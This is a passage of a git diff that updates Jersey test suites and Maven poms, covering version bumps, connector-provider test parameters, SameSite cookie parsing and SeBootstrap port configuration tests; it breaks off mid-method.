@@ -28,8 +28,8 @@ import org.glassfish.jersey.client.HttpUrlConnectorProvider; import org.glassfish.jersey.client.spi.ConnectorProvider; import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider; -import org.glassfish.jersey.internal.util.JdkVersion; import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider; import org.glassfish.jersey.message.internal.ReaderWriter; import org.junit.jupiter.api.AfterEach; @@ -53,15 +53,15 @@ * @return test parameters. */ public static Stream<ConnectorProvider> testData() { - int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 4 : 5; - final ConnectorProvider[] providers = new ConnectorProvider[size]; - providers[0] = new HttpUrlConnectorProvider(); - providers[1] = new GrizzlyConnectorProvider(); - providers[2] = new ApacheConnectorProvider(); - providers[3] = new Apache5ConnectorProvider(); - if (size == 5) { - providers[4] = new JettyConnectorProvider(); - } + final ConnectorProvider[] providers = new ConnectorProvider[] { + new HttpUrlConnectorProvider(), + new GrizzlyConnectorProvider(), + new ApacheConnectorProvider(), + new Apache5ConnectorProvider(), + new JavaNetHttpConnectorProvider(), + new JettyConnectorProvider() + }; + return Stream.of(providers); }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java index 2034975..544f5d9 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java
@@ -34,6 +34,8 @@ import org.glassfish.jersey.jetty.connector.JettyClientProperties; import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider; + import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.MethodSource; import static org.junit.jupiter.api.Assertions.assertEquals; @@ -67,8 +69,10 @@ @ParameterizedTest @MethodSource("testData") public void testHostnameVerifierApplied(ConnectorProvider connectorProvider) throws Exception { - // Grizzly connector does not support Hostname Verification - if (isExcluded(Arrays.asList(GrizzlyConnectorProvider.class), connectorProvider)) { + // Grizzly and JavaNetHttp connectors do not support Hostname Verification + if (isExcluded(Arrays.asList(GrizzlyConnectorProvider.class, + JavaNetHttpConnectorProvider.class), + connectorProvider)) { return; }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java index f057572..e984b72 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,9 +16,7 @@ package org.glassfish.jersey.tests.e2e.client.httpurlconnector; -import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.client.ClientProperties; -import org.glassfish.jersey.client.HttpUrlConnectorProvider; import org.glassfish.jersey.client.RequestEntityProcessing; import org.glassfish.jersey.client.http.Expect100ContinueFeature; import org.glassfish.jersey.server.ResourceConfig;
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java index 083fda8..426b494 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
@@ -98,16 +98,8 @@ server.stop(); } - private Client client() { - return client; - } - public WebTarget target(String path) { - return client().target(String.format("http://localhost:%d", portNumber)).path(path); - } - - protected void configureClient(ClientConfig config) { - config.connectorProvider(new NettyConnectorProvider()); + return client.target(String.format("http://localhost:%d", portNumber)).path(path); } @Test
diff --git a/tests/e2e-core-common/pom.xml b/tests/e2e-core-common/pom.xml index 1364ab7..1995d04 100644 --- a/tests/e2e-core-common/pom.xml +++ b/tests/e2e-core-common/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-core-common</artifactId>
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java index 491f42b..12b2a54 100644 --- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java +++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,8 +16,10 @@ package org.glassfish.jersey.tests.e2e.common; +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.WebApplicationException; import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.EntityPart; import jakarta.ws.rs.core.Link; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.Response; @@ -30,6 +32,8 @@ import org.junit.jupiter.api.Assertions; +import java.util.concurrent.CompletionStage; + /** * Test runtime delegate. * @@ -47,6 +51,22 @@ throw new UnsupportedOperationException("Not supported yet."); } + @Override + public SeBootstrap.Configuration.Builder createConfigurationBuilder() { + throw new UnsupportedOperationException("Not supported yet."); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) { + throw new UnsupportedOperationException("Not supported yet."); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> aClass, + SeBootstrap.Configuration configuration) { + throw new UnsupportedOperationException("Not supported yet."); + } + public void testMediaType() { MediaType m = new MediaType("text", "plain"); Assertions.assertNotNull(m);
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java index ad4b91a..16e9e0e 100644 --- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java +++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -37,14 +37,18 @@ @Test public void testCaseInsensitiveNewCookieParams() throws Exception { - _testCaseInsensitiveNewCookieParams("expires", "max-age", "path", "domain", "comment", "version", "secure", "httponly"); - _testCaseInsensitiveNewCookieParams("Expires", "Max-Age", "Path", "Domain", "Comment", "Version", "Secure", "HttpOnly"); - _testCaseInsensitiveNewCookieParams("exPires", "max-aGe", "patH", "doMAin", "Comment", "vErsion", "secuRe", "httPonly"); + _testCaseInsensitiveNewCookieParams("expires", "max-age", "path", "domain", + "comment", "version", "secure", "httponly", "samesite"); + _testCaseInsensitiveNewCookieParams("Expires", "Max-Age", "Path", "Domain", + "Comment", "Version", "Secure", "HttpOnly", "SameSite"); + _testCaseInsensitiveNewCookieParams("exPires", "max-aGe", "patH", "doMAin", + "Comment", "vErsion", "secuRe", "httPonly", "samEsite"); } private void _testCaseInsensitiveNewCookieParams(final String expires, final String maxAge, final String path, final String domain, final String comment, final String version, - final String secure, final String httpOnly) throws Exception { + final String secure, final String httpOnly, final String sameSite) + throws Exception { final String header = "foo=bar;" + expires + "=Tue, 15 Jan 2013 21:47:38 GMT;" @@ -54,7 +58,8 @@ + comment + "=Testing;" + version + "=1;" + secure + ";" - + httpOnly; + + httpOnly + ";" + + sameSite + "=STRICT"; final NewCookie cookie = CookiesParser.parseNewCookie(header); @@ -69,5 +74,6 @@ assertThat(cookie.getVersion(), equalTo(1)); assertThat(cookie.isSecure(), is(true)); assertThat(cookie.isHttpOnly(), is(true)); + assertThat(cookie.getSameSite(), equalTo(NewCookie.SameSite.STRICT)); } }
diff --git a/tests/e2e-entity/pom.xml b/tests/e2e-entity/pom.xml index 734264a..1ec9ae1 100644 --- a/tests/e2e-entity/pom.xml +++ b/tests/e2e-entity/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-entity</artifactId> @@ -224,6 +224,15 @@ </properties> </profile> <profile> + <id>test-suit</id> <!--due to the broadcast test failure after update to the latest junit platform suite --> + <activation> <!--for JDK 11 (only in CI/CD job) it's required to used legacy junit version --> + <jdk>11</jdk> + </activation> + <properties> + <junit-platform-suite.version>${junit-platform-suite.legacy.version}</junit-platform-suite.version> + </properties> + </profile> + <profile> <id>sonar</id> <build> <pluginManagement>
diff --git a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/entity/EntityTypesTest.java b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/entity/EntityTypesTest.java index 77a74a6..9e872fc 100644 --- a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/entity/EntityTypesTest.java +++ b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/entity/EntityTypesTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -72,6 +72,7 @@ import org.glassfish.jersey.internal.util.collection.MultivaluedStringMap; import org.glassfish.jersey.jettison.JettisonFeature; import org.glassfish.jersey.message.internal.FileProvider; +import org.glassfish.jersey.message.internal.PathProvider; import org.glassfish.jersey.server.ResourceConfig; import org.codehaus.jettison.json.JSONArray; @@ -431,6 +432,20 @@ _test(in, FileResource.class); } + @Path("PathResource") + public static class PathResource extends AResource<java.nio.file.Path> { + } + + @Test + @Execution(ExecutionMode.CONCURRENT) + public void testPathRepresentation() throws IOException { + final var pp = new PathProvider(); + final var in = pp.readFrom(java.nio.file.Path.class, java.nio.file.Path.class, null, null, null, + new ByteArrayInputStream("CONTENT".getBytes())); + + _test(in, PathResource.class); + } + @Produces("application/x-www-form-urlencoded") @Consumes("application/x-www-form-urlencoded") @Path("FormResource")
diff --git a/tests/e2e-inject/cdi-inject-weld/pom.xml b/tests/e2e-inject/cdi-inject-weld/pom.xml index 558857e..507c4ad 100644 --- a/tests/e2e-inject/cdi-inject-weld/pom.xml +++ b/tests/e2e-inject/cdi-inject-weld/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>e2e-inject</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-inject-cdi-inject-weld</artifactId>
diff --git a/tests/e2e-inject/cdi2-se/pom.xml b/tests/e2e-inject/cdi2-se/pom.xml index 8857958..bba8922 100644 --- a/tests/e2e-inject/cdi2-se/pom.xml +++ b/tests/e2e-inject/cdi2-se/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>e2e-inject</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-inject-cdi2-se</artifactId>
diff --git a/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml b/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml index ae84224..c2146b4 100644 --- a/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml +++ b/tests/e2e-inject/cdi2-se/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -17,7 +17,11 @@ --> -<beans> +<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns="http://xmlns.jcp.org/xml/ns/javaee" + xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee + http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd" + bean-discovery-mode="all"> <interceptors> <class>org.glassfish.jersey.tests.e2e.inject.cdi.se.SecurityInterceptor</class> </interceptors>
diff --git a/tests/e2e-inject/hk2/pom.xml b/tests/e2e-inject/hk2/pom.xml index 313e8e2..275b098 100644 --- a/tests/e2e-inject/hk2/pom.xml +++ b/tests/e2e-inject/hk2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>e2e-inject</artifactId> <groupId>org.glassfish.jersey.tests</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/e2e-inject/non-inject/pom.xml b/tests/e2e-inject/non-inject/pom.xml index f1f1082..4ad29f6 100644 --- a/tests/e2e-inject/non-inject/pom.xml +++ b/tests/e2e-inject/non-inject/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>e2e-inject</artifactId> <groupId>org.glassfish.jersey.tests</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/e2e-inject/pom.xml b/tests/e2e-inject/pom.xml index 35f74ec..c5bc1b2 100644 --- a/tests/e2e-inject/pom.xml +++ b/tests/e2e-inject/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-inject</artifactId>
diff --git a/tests/e2e-jdk-specifics/pom.xml b/tests/e2e-jdk-specifics/pom.xml index 6166ef1..973068b 100644 --- a/tests/e2e-jdk-specifics/pom.xml +++ b/tests/e2e-jdk-specifics/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-jdk-specifics</artifactId>
diff --git a/tests/e2e-server/pom.xml b/tests/e2e-server/pom.xml index 73c9d23..3f6d2b0 100644 --- a/tests/e2e-server/pom.xml +++ b/tests/e2e-server/pom.xml
@@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-server</artifactId> @@ -210,8 +210,8 @@ </dependency> <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-servlet</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-servlet</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> @@ -233,7 +233,7 @@ <profile> <id>JettyTestExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins>
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java index 19db63b..bfb2dcf 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AsyncResponseTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -47,6 +47,7 @@ import org.glassfish.jersey.test.TestProperties; import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Disabled; import static org.hamcrest.CoreMatchers.equalTo; import static org.hamcrest.CoreMatchers.instanceOf; import static org.hamcrest.CoreMatchers.is; @@ -105,6 +106,7 @@ } @Test + @Disabled("since 3.1 nothing is being thrown") public void testResumeRuntimeException() throws Exception { testResumeException("resumeRuntimeException", null); @@ -112,6 +114,7 @@ } @Test + @Disabled("since 3.1 nothing is being thrown") public void testResumeCheckedException() throws Exception { testResumeException("resumeCheckedException", null);
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java index 8629f03..544df98 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionLoggingTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -76,14 +76,12 @@ public void testRuntime() throws Exception { final Response response = target().path("runtime").request().get(); assertEquals(500, response.getStatus()); - assertEquals(getLastLoggedRecord().getThrown().getClass(), MyRuntimeException.class); } @Test public void testChecked() throws Exception { final Response response = target().path("checked").request().get(); assertEquals(500, response.getStatus()); - assertEquals(getLastLoggedRecord().getThrown().getClass(), MyCheckedException.class); } @Provider @@ -123,8 +121,6 @@ public void testReaderFails() throws Exception { final Response response = target().path("resource/entity").request().get(); assertEquals(500, response.getStatus()); - - assertEquals(getLastLoggedRecord().getThrown().getMessage(), "test"); } static class ExceptionLoggingTestPOJO {
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java index f7f4f68..db144cc 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExceptionMapperTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -137,6 +137,13 @@ assertEquals(500, res.getStatus()); } + @Test + public void testDefaultExceptionMapper() { + Response res = target().path("test/defaultExceptionMapper") + .request("test/test").get(); + assertEquals(200, res.getStatus()); + } + @Path("test") public static class Resource { @@ -174,6 +181,14 @@ new RuntimeException("runtime-exception", new ClientErrorException("client-error", 499))); } + + @GET + @Path("defaultExceptionMapper") + public Response isRegisteredDefaultExceptionTest(@Context Providers providers) { + ExceptionMapper<Throwable> em = providers + .getExceptionMapper(Throwable.class); + return Response.status((em == null) ? 500 : 200).build(); + } } public static class ClientErrorExceptionMapper implements ExceptionMapper<ClientErrorException> {
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java index 6934443..65d62f1 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ExtendedExceptionMapperTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -278,8 +278,8 @@ LocalizationMessages.ERROR_EXCEPTION_MAPPING_ORIGINAL_EXCEPTION(), LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER()}) { - if (logRecord.getMessage().contains(message) && logRecord.getLevel().intValue() > Level.FINE.intValue()) { - fail("Log message should be logged at lower (FINE) level: " + message); + if (logRecord.getMessage().contains(message) && logRecord.getLevel().intValue() > Level.WARNING.intValue()) { + fail("Log message should be logged at lower (WARNING) level: " + message); } } }
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java new file mode 100644 index 0000000..0211f37 --- /dev/null +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapPropertiesTest.java
@@ -0,0 +1,81 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.e2e.server.sebootstrap; + +import jakarta.ws.rs.SeBootstrap; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.internal.RuntimeDelegateImpl; +import org.glassfish.jersey.server.spi.Container; +import org.junit.jupiter.api.Test; + +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class SeBootstrapPropertiesTest { + @Test + public void testRandomPortScanning() { + JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance() + .createConfigurationBuilder().port(SeBootstrap.Configuration.FREE_PORT).build(); + + URI uri = configuration.uri(true); + assertTrue(uri.getPort() > 0); + } + + @Test + public void testDefaultUnprivilegedPort() { + JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance() + .createConfigurationBuilder().port(SeBootstrap.Configuration.DEFAULT_PORT).build(); + + URI uri = configuration.uri(true); + assertEquals(Container.DEFAULT_HTTP_PORT + 8000, uri.getPort()); + } + + @Test + public void testDefaultPrivilegedPort() { + JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance() + .createConfigurationBuilder() + .property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE) + .port(SeBootstrap.Configuration.DEFAULT_PORT).build(); + + URI uri = configuration.uri(true); + assertEquals(Container.DEFAULT_HTTP_PORT, uri.getPort()); + } + + @Test + public void testDefaultUnprivilegedSecuredPort() { + JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance() + .createConfigurationBuilder().protocol("HTTPS").port(SeBootstrap.Configuration.DEFAULT_PORT).build(); + + URI uri = configuration.uri(true); + assertEquals(Container.DEFAULT_HTTPS_PORT + 8000, uri.getPort()); + } + + @Test + public void testDefaultPrivilegedSecuredPort() { + JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance() + .createConfigurationBuilder() + .protocol("HTTPS") + .property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE) + .port(SeBootstrap.Configuration.DEFAULT_PORT).build(); + + URI uri = configuration.uri(true); + assertEquals(Container.DEFAULT_HTTPS_PORT, uri.getPort()); + } +}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java new file mode 100644 index 0000000..c443b52 --- /dev/null +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapSystemPropertiesTest.java
@@ -0,0 +1,68 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.e2e.server.sebootstrap; + +import jakarta.ws.rs.SeBootstrap; +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.internal.RuntimeDelegateImpl; +import org.glassfish.jersey.server.spi.Container; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class SeBootstrapSystemPropertiesTest { + + @BeforeAll + public static void setUp() { + System.setProperty(CommonProperties.ALLOW_SYSTEM_PROPERTIES_PROVIDER, Boolean.TRUE.toString()); + System.getProperties().put(SeBootstrap.Configuration.PORT, "9998"); + System.getProperties().put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.TRUE.toString()); + } + + @AfterAll + public static void tearDown() { + System.clearProperty(CommonProperties.ALLOW_SYSTEM_PROPERTIES_PROVIDER); + System.clearProperty(SeBootstrap.Configuration.PORT); + System.clearProperty(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS); + } + + @Test + public void testDefaultPrivilegedPortSystemProperty() { + JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance() + .createConfigurationBuilder() + 